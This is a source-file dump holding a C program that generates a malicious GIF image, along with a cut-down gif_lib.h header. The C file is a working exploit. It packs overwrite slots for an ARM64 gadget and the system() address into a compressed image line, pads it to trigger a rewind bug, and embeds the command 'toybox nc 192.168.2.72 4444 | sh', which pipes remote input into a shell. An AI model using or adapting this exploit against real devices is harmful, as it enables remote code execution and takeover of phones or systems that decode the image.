"content": "#include \"gif_lib.h\"\r\n#include \r\n#include \r\n#include \r\n\r\n#define ONE_BYTE_HEX_STRING_SIZE 3\r\nstatic inline void\r\nget_hex(char *buf, int buf_len, char* hex_, int hex_len, int num_col) {\r\n int i;\r\n unsigned int byte_no = 0;\r\n if (buf_len <= 0) {\r\n if (hex_len > 0) {\r\n hex_[0] = '\\0';\r\n }\r\n return;\r\n }\r\n if(hex_len < ONE_BYTE_HEX_STRING_SIZE + 1)\r\n return;\r\n do {\r\n for (i = 0; ((i < num_col) && (buf_len > 0) && (hex_len > 0)); ++i ) {\r\n snprintf(hex_, hex_len, \"%02X \", buf[byte_no++] & 0xff);\r\n hex_ += ONE_BYTE_HEX_STRING_SIZE;\r\n hex_len -=ONE_BYTE_HEX_STRING_SIZE;\r\n buf_len--;\r\n }\r\n if (buf_len > 1) {\r\n snprintf(hex_, hex_len, \"\\n\");\r\n hex_ += 1;\r\n }\r\n } while ((buf_len) > 0 && (hex_len > 0));\r\n}\r\n\r\nint genLine_0(unsigned char *buffer) {\r\n/*\r\n 00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000010: 0000 0000 0000 0000 4242 4242 4242 4242 ........BBBBBBBB\r\n 00000020: 746f 7962 6f78 206e 6320 3139 322e 3136 toybox nc 192.16\r\n 00000030: 382e 322e 3732 2034 3434 3420 7c20 7368 8.2.72 4444 | sh\r\n 00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................\r\n 00000080: 4141 4141 4141 4141 eeff AAAAAAAA..\r\n\r\n Over-write AAAAAAAA with address of gadget 1\r\n Over-write BBBBBBBB with address of system() function\r\n\r\n Gadget 1\r\n ldr x8, [x19, #0x18]\r\n add x0, x19, #0x20\r\n blr x8\r\n*/\r\n unsigned char hexData[138] = {\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0xEF, 0xBE, 0xAD, 0xDE, 0xEE, 0xFF\r\n };\r\n memcpy(buffer, hexData, sizeof(hexData));\r\n\r\n /*\r\n Gadget g1:\r\n ldr x8, [x19, #0x18]\r\n add x0, x19, #0x20\r\n blr x8\r\n */\r\n size_t g1_loc = 0x7cb81f0954; // replace this\r\n memcpy(buffer + 128, &g1_loc, 8);\r\n\r\n size_t system_loc = 0x7cb602ce84; // replace this\r\n memcpy(buffer + 24, &system_loc, 8);\r\n\r\n char *command = \"toybox nc 192.168.2.72 4444 | sh\";\r\n memcpy(buffer + 32, command, strlen(command));\r\n\r\n return sizeof(hexData);\r\n};\r\n\r\nint main(int argc, char *argv[]) {\r\n GifFilePrivateType Private = {\r\n .Buf[0] = 0,\r\n .BitsPerPixel = 8,\r\n .ClearCode = 256,\r\n .EOFCode = 257,\r\n .RunningCode = 258,\r\n .RunningBits = 9,\r\n .MaxCode1 = 512,\r\n .CrntCode = FIRST_CODE,\r\n .CrntShiftState = 0,\r\n .CrntShiftDWord = 0,\r\n .PixelCount = 112,\r\n .OutBuf = { 0 },\r\n .OutBufLen = 0\r\n };\r\n int size = 0;\r\n unsigned char buffer[1000] = { 0 };\r\n\r\n unsigned char line[500] = { 0 };\r\n int line_size = genLine_0(line);\r\n EGifCompressLine(&Private, line, line_size);\r\n\r\n unsigned char starting[48] = {\r\n 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x18, 0x00, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x66, 0xCC, 0xCC,\r\n 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x33, 0x99, 0x66, 0x99, 0xFF, 0xCC, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x15, 0x00, 0x00, 0x08\r\n };\r\n unsigned char padding[2] = { 0xFF, 0xFF };\r\n unsigned char ending[61] = {\r\n 0x2C, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00, 0x00, 0x00, 0x00,\r\n 0x1C, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\r\n 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2C, 0x00,\r\n 0x00, 0x00, 0x00, 0x18, 0x00, 0x0A, 0x00, 0x0F, 0x00, 0x01, 0x00, 0x00, 0x3B\r\n };\r\n\r\n // starting bytes\r\n memcpy(buffer + size, starting, sizeof(starting));\r\n size += sizeof(starting);\r\n\r\n // size of encoded line + padding\r\n int tmp = Private.OutBufLen + sizeof(padding);\r\n buffer[size++] = tmp;\r\n\r\n // encoded-line bytes\r\n memcpy(buffer + size, Private.OutBuf, Private.OutBufLen);\r\n size += Private.OutBufLen;\r\n\r\n // padding bytes of 0xFFs to trigger info->rewind(info);\r\n memcpy(buffer + size, padding, sizeof(padding));\r\n size += sizeof(padding);\r\n\r\n // ending bytes\r\n memcpy(buffer + size, ending, sizeof(ending));\r\n size += sizeof(ending);\r\n\r\n char hex_dump[5000];\r\n get_hex(buffer, size, hex_dump, 5000, 16);\r\n printf(\"buffer = %p size = %d\\n%s\\n\", buffer, size, hex_dump);\r\n \r\n int fd = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC, 0644); \r\n write(fd, buffer, size); \r\n close(fd); \r\n}\r\n"
},
{
"path": "gif_lib.h",
"content": "/******************************************************************************\n \ngif_lib.h - service library for decoding and encoding GIF images\n \n*****************************************************************************/\n\n#ifndef _GIF_LIB_H_\n#define _GIF_LIB_H_ 1\n\n#define GIF_ERROR 0\n#define GIF_OK 1\n\n#include \n#include \n\ntypedef signed char __int8_t;\ntypedef unsigned char __uint8_t;\ntypedef short __int16_t;\ntypedef unsigned short __uint16_t;\ntypedef int __int32_t;\ntypedef unsigned int __uint32_t;\n#if defined(__LP64__)\ntypedef long __int64_t;\ntypedef unsigned long __uint64_t;\n#else\ntypedef long long __int64_t;\ntypedef unsigned long long __uint64_t;\n#endif\n#if defined(__LP64__)\ntypedef long __intptr_t;\ntypedef unsigned long __uintptr_t;\n#else\ntypedef int __intptr_t;\ntypedef unsigned int __uintptr_t;\n#endif\ntypedef __int8_t int8_t;\ntypedef __uint8_t uint8_t;\ntypedef __int16_t int16_t;\ntypedef __uint16_t uint16_t;\ntypedef __int32_t int32_t;\ntypedef __uint32_t uint32_t;\ntypedef __int64_t int64_t;\ntypedef __uint64_t uint64_t;\ntypedef __intptr_t intptr_t;\ntypedef __uintptr_t uintptr_t;\ntypedef int8_t int_least8_t;\ntypedef uint8_t uint_least8_t;\ntypedef int16_t int_least16_t;\ntypedef uint16_t uint_least16_t;\ntypedef int32_t int_least32_t;\ntypedef uint32_t uint_least32_t;\ntypedef int64_t int_least64_t;\ntypedef uint64_t uint_least64_t;\ntypedef int8_t int_fast8_t;\ntypedef uint8_t uint_fast8_t;\ntypedef int64_t int_fast64_t;\ntypedef uint64_t uint_fast64_t;\n#if defined(__LP64__)\ntypedef int64_t int_fast16_t;\ntypedef uint64_t uint_fast16_t;\ntypedef int64_t int_fast32_t;\ntypedef uint64_t uint_fast32_t;\n#else\ntypedef int32_t int_fast16_t;\ntypedef uint32_t uint_fast16_t;\ntypedef int32_t int_fast32_t;\ntypedef uint32_t uint_fast32_t;\n#endif\n\n#define GIF_STAMP \"GIFVER\" /* First chars in file - GIF stamp. */\n#define GIF_STAMP_LEN sizeof(GIF_STAMP) - 1\n#define GIF_VERSION_POS 3 /* Version first character in stamp. */\n\ntypedef unsigned char GifPixelType;\ntypedef unsigned char GifByteType;\ntypedef unsigned int GifPrefixType;\ntypedef uint_fast16_t GifWord;\n\ntypedef struct GifColorType {\n\tuint8_t Red, Green, Blue;\n} GifColorType;\n\ntypedef struct ColorMapObject {\n\tuint_fast16_t ColorCount;\n\tuint_fast8_t BitsPerPixel;\n// bool SortFlag;\n\tGifColorType *Colors; /* on malloc(3) heap */\n} ColorMapObject;\n\ntypedef struct GifImageDesc {\n\tGifWord Left, Top, Width, Height; /* Current image dimensions. */\n\tbool Interlace;\n\t/* Sequential/Interlaced lines. */\n\tColorMapObject *ColorMap; /* The local color map */\n} GifImageDesc;\n\n//typedef struct ExtensionBlock {\n// int ByteCount;\n// GifByteType *Bytes; /* on malloc(3) heap */\n// int Function; /* The block function code */\n#define CONTINUE_EXT_FUNC_CODE 0x00 /* continuation subblock */\n#define COMMENT_EXT_FUNC_CODE 0xfe /* comment */\n#define GRAPHICS_EXT_FUNC_CODE 0xf9 /* graphics control (GIF89) */\n#define PLAINTEXT_EXT_FUNC_CODE 0x01 /* plaintext */\n#define APPLICATION_EXT_FUNC_CODE 0xff /* application block */\n//} ExtensionBlock;\n\ntypedef struct SavedImage {\n\tGifImageDesc ImageDesc;\n// GifByteType *RasterBits; /* on malloc(3) heap */\n// int ExtensionBlockCount; /* Count of extensions before image */\n// ExtensionBlock *ExtensionBlocks; /* Extensions before image */\n} SavedImage;\n\n#define EXTENSION_INTRODUCER 0x21\n#define DESCRIPTOR_INTRODUCER 0x2c\n#define TERMINATOR_INTRODUCER 0x3b\n\n#define LZ_MAX_CODE 4095 /* Biggest code possible in 12 bits. */\n#define LZ_BITS 12\n\n#define FLUSH_OUTPUT 4096 /* Impossible code, to signal flush. */\n#define FIRST_CODE 4097 /* Impossible code, to signal first. */\n#define NO_SUCH_CODE 4098 /* Impossible code, to signal empty. */\n\n//#define FILE_STATE_WRITE 0x01\n//#define FILE_STATE_SCREEN 0x02\n//#define FILE_STATE_IMAGE 0x04\n//#define FILE_STATE_READ 0x08\n\n//#define IS_READABLE(Private) (Private->FileState & FILE_STATE_READ)\n\n\nstruct GifFileType;\n/* func type to read gif data from arbitrary sources (TVT) */\ntypedef uint_fast8_t (*InputFunc)(struct GifFileType *, GifByteType *, uint_fast8_t);\n\ntypedef struct GifFilePrivateType {\n\tGifWord //FileState, /*FileHandle,*/ /* Where all this data goes to! */\n\t\t\tBitsPerPixel, /* Bits per pixel (Codes uses at least this + 1). */\n\t\t\tClearCode, /* The CLEAR LZ code. */\n\t\t\tEOFCode, /* The EOF LZ code. */\n\t\t\tRunningCode, /* The next code algorithm can generate. */\n\t\t\tRunningBits, /* The number of bits required to represent RunningCode. */\n\t\t\tMaxCode1, /* 1 bigger than max. possible code, in RunningBits bits. */\n\t\t\tLastCode, /* The code before the current code. */\n CrntCode, /* Current algorithm code. */\n\t\t\tStackPtr, /* For character stack (see below). */\n\t\t\tCrntShiftState;\n\t/* Number of bits in CrntShiftDWord. */\n\tunsigned long CrntShiftDWord;\n\t/* For bytes decomposition into codes. */\n\tuint_fast32_t PixelCount;\n\t/* Number of pixels in image. */\n// FILE *File;\n\t/* File as stream. */\n\tInputFunc Read; /* function to read gif input (TVT) */\n// OutputFunc Write; /* function to write gif output (MRB) */\n\tGifByteType Buf[256];\n\tunsigned char OutBuf[500];\n\tint OutBufLen;\n\t/* Compressed input is buffered here. */\n\tGifByteType Stack[LZ_MAX_CODE];\n\t/* Decoded pixels are stacked here. */\n\tGifByteType Suffix[LZ_MAX_CODE + 1];\n\t/* So we can trace the codes. */\n\tGifPrefixType Prefix[LZ_MAX_CODE + 1];\n// bool gif89;\n} GifFilePrivateType;\n\ntypedef struct GifFileType {\n\tGifWord SWidth, SHeight; /* Size of virtual canvas */\n// GifWord SColorResolution; /* How many colors can we generate? */\n\tGifWord SBackGroundColor; /* Background color for virtual canvas */\n// GifByteType AspectByte;\t /* Used to compute pixel aspect ratio */\n\tColorMapObject *SColorMap;\n\t/* Global colormap, NULL if nonexistent. */\n\tuint_fast32_t ImageCount;\n\t/* Number of current image (both APIs) */\n\tGifImageDesc Image;\n\t/* Current image (low-level API) */\n\tSavedImage *SavedImages; /* Image sequence (high-level API) */\n// int ExtensionBlockCount; /* Count extensions past last image */\n// ExtensionBlock *ExtensionBlocks; /* Extensions past last image */\n\tint Error;\n\t/* Last error condition reported */\n\tvoid *UserData;\n\t/* hook to attach user data (TVT) */\n\tGifFilePrivateType *Private; /* Don't mess with this! */\n} GifFileType;\n\n//#define GIF_ASPECT_RATIO(n) ((n)+15.0/64.0)\n\ntypedef enum {\n\tUNDEFINED_RECORD_TYPE,\n\tSCREEN_DESC_RECORD_TYPE,\n\tIMAGE_DESC_RECORD_TYPE, /* Begin with ',' */\n\t\t\tEXTENSION_RECORD_TYPE, /* Begin with '!' */\n\t\t\tTERMINATE_RECORD_TYPE /* Begin with ';' */\n} GifRecordType;\n\n/* func type to read gif data from arbitrary sources (TVT) */\ntypedef uint_fast8_t (*InputFunc)(GifFileType *, GifByteType *, uint_fast8_t);\n\n/******************************************************************************\n GIF89 structures\n******************************************************************************/\n\ntypedef struct GraphicsControlBlock {\n\tuint_fast8_t DisposalMode;\n#define DISPOSAL_UNSPECIFIED 0 /* No disposal specified. */\n#define DISPOSE_DO_NOT 1 /* Leave image in place */\n#define DISPOSE_BACKGROUND 2 /* Set area too background color */\n#define DISPOSE_PREVIOUS 3 /* Restore to previous content */\n// bool UserInputFlag; /* User confirmation required before disposal */\n\tuint_fast32_t DelayTime;\n\t/* pre-display delay in 0.01sec units */\n\tint TransparentColor; /* Palette index for transparency, -1 if none */\n#define NO_TRANSPARENT_COLOR -1\n} GraphicsControlBlock;\n\n/******************************************************************************\n GIF decoding routines\n******************************************************************************/\n\n/* Main entry points */\nGifFileType *DGifOpen(void *userPtr, InputFunc readFunc, int *Error);\n\n/* new one (TVT) */\nint DGifCloseFile(GifFileType *GifFile);\n\n#define D_GIF_ERR_OPEN_FAILED 101 /* And DGif possible errors. */\n#define D_GIF_ERR_READ_FAILED 102\n#define D_GIF_ERR_NOT_GIF_FILE 103\n#define D_GIF_ERR_NO_SCRN_DSCR 104\n#define D_GIF_ERR_NO_IMAG_DSCR 105\n#define D_GIF_ERR_NO_COLOR_MAP 106\n#define D_GIF_ERR_WRONG_RECORD 107\n#define D_GIF_ERR_DATA_TOO_BIG 108\n#define D_GIF_ERR_NOT_ENOUGH_MEM 109\n#define D_GIF_ERR_CLOSE_FAILED 110\n#define D_GIF_ERR_NOT_READABLE 111\n#define D_GIF_ERR_IMAGE_DEFECT 112\n#define D_GIF_ERR_EOF_TOO_SOON 113\n\n#define E_GIF_SUCCEEDED 0\n#define E_GIF_ERR_OPEN_FAILED 1 /* And EGif possible errors. */\n#define E_GIF_ERR_WRITE_FAILED 2\n#define E_GIF_ERR_HAS_SCRN_DSCR 3\n#define E_GIF_ERR_HAS_IMAG_DSCR 4\n#define E_GIF_ERR_NO_COLOR_MAP 5\n#define E_GIF_ERR_DATA_TOO_BIG 6\n#define E_GIF_ERR_NOT_ENOUGH_MEM 7\n#define E_GIF_ERR_DISK_IS_FULL 8\n#define E_GIF_ERR_CLOSE_FAILED 9\n#define E_GIF_ERR_NOT_WRITEABLE 10\n\n/* These are legacy. You probably do not want to call them directly */\nint DGifGetScreenDesc(GifFileType *GifFile);\n\nint DGifGetRecordType(GifFileType *GifFile, GifRecordType *GifType);\n\nint DGifGetImageDesc(GifFileType *GifFile, bool changeImageCount);\n\nint DGifGetLine(GifFileType *GifFile, GifPixelType *GifLine, uint_fast32_t GifLineLen);\n\nint DGifGetExtension(GifFileType *GifFile, int *GifExtCode,\n GifByteType **GifExtension);\n\nint DGifGetExtensionNext(GifFileType *GifFile, GifByteType **GifExtension);\n\nint DGifGetCodeNext(GifFileType *GifFile, GifByteType **GifCodeBlock);\n\nint EGifCompressLine(GifFilePrivateType *Private, unsigned char *Line, const int LineLen);\n/*****************************************************************************\n Everything below this point is new after version 1.2, supporting `slurp\n mode' for doing I/O in two big belts with all the image-bashing in core.\n******************************************************************************/\n\n/******************************************************************************\n Color map handling from gif_alloc.c\n******************************************************************************/\n\nextern ColorMapObject *GifMakeMapObject(uint_fast8_t BitsPerPixel,\n const GifColorType *ColorMap);\n\nextern void GifFreeMapObject(ColorMapObject *Object);\n\n//extern int GifBitSize(int n);\n#include \n#include \n#include \n#include \n\n/******************************************************************************\n Support for the in-core structures allocation (slurp mode). \n******************************************************************************/\n\n//extern void GifFreeExtensions(int *ExtensionBlock_Count,\n//\t\t\t ExtensionBlock **ExtensionBlocks);\nextern void GifFreeSavedImages(GifFileType *GifFile);\n\n/******************************************************************************\n 5.x functions for GIF89 graphics control blocks\n******************************************************************************/\n\nint DGifExtensionToGCB(const size_t GifExtensionLength,\n const GifByteType *GifExtension,\n GraphicsControlBlock *GCB);\n\n#endif /* _GIF_LIB_H */\n\n/* end */\n"
}
]